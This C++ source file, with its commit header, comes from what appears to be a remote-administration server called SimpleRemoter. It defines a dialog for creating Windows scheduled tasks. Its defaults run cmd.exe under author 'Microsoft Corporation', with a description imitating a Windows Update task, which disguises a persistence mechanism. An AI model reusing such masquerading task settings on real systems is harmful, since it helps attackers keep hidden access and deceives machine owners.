Files
SimpleRemoter/server/2015Remote/sys/CCreateTaskDlg.cpp
T
yuanyuanxianganddeepseek-v4-pro 221617fe02 Fix: Translate remaining server UI strings missing _TR/_L
Wrap the last untranslated Chinese UI strings so English mode stops showing
raw Chinese. Format strings passed to sprintf/wsprintf and the status-bar
SendMessageTimeout calls now go through _TRF, and the CString/PostMessage
literals plus a few member-initializer and Compare values go through
_TR/_L. Covers the wallet validation message, the SOCKS proxy connection
log lines, the file-manager status bar, and the machine-info progress
messages.

Add the 24 corresponding entries to lang/en_US.ini and lang/zh_TW.ini
(GBK), keeping the escaped-format-string key style. The Yes/No/Desktop/
Recent keys already existed, so the BuildDlg and CFileManagerDlg compare
fixes reuse them.

Co-Authored-By: deepseek-v4-pro
2026-09-06 09:39:59 +02:00

69 lines
1.9 KiB
C++

// CCreateTaskDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "CCreateTaskDlg.h"
// CCreateTaskDlg 对话框
IMPLEMENT_DYNAMIC(CCreateTaskDlg, CDialog)
CCreateTaskDlg::CCreateTaskDlg(CWnd* pParent /*=nullptr*/)
: CDialogLang(IDD_CREATETASK, pParent)
, m_TaskPath(_T("\\"))
, m_TaskNames(_T("bhyy"))
, m_ExePath(_T("C:\\windows\\system32\\cmd.exe"))
, m_Author(_T("Microsoft Corporation"))
, m_Description(_TR("此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)"))
{
}
CCreateTaskDlg::~CCreateTaskDlg()
{
}
void CCreateTaskDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Text(pDX, IDC_EDIT_PATH, m_TaskPath);
DDX_Control(pDX, IDC_EDIT_NAME, m_TaskName);
DDX_Text(pDX, IDC_EDIT_NAME, m_TaskNames);
DDX_Text(pDX, IDC_EDIT_EXEPATH, m_ExePath);
DDX_Text(pDX, IDC_EDIT_MAKER, m_Author);
DDX_Text(pDX, IDC_EDIT_TEXT, m_Description);
}
BEGIN_MESSAGE_MAP(CCreateTaskDlg, CDialog)
ON_BN_CLICKED(IDC_BUTTON_CREAT, &CCreateTaskDlg::OnBnClickedButtonCREAT)
END_MESSAGE_MAP()
// CCreateTaskDlg 消息处理程序
BOOL CCreateTaskDlg::OnInitDialog()
{
__super::OnInitDialog();
// 多语言翻译 - Static控件
SetDlgItemText(IDC_STATIC_CREATETASK_PATH, _TR("路径:"));
SetDlgItemText(IDC_STATIC_CREATETASK_NAME, _TR("任务名:"));
SetDlgItemText(IDC_STATIC_CREATETASK_FILE, _TR("文件路径:"));
SetDlgItemText(IDC_STATIC_CREATETASK_AUTHOR, _TR("作者:"));
SetDlgItemText(IDC_STATIC_CREATETASK_DESC, _TR("描述:"));
// 设置对话框标题和控件文本(解决英语系统乱码问题)
SetWindowText(_TR("创建计划任务"));
SetDlgItemText(IDC_BUTTON_CREAT, _TR("创建"));
return TRUE;
}
void CCreateTaskDlg::OnBnClickedButtonCREAT()
{
UpdateData(TRUE);
// TODO: 在此添加控件通知处理程序代码
__super::OnOK();
}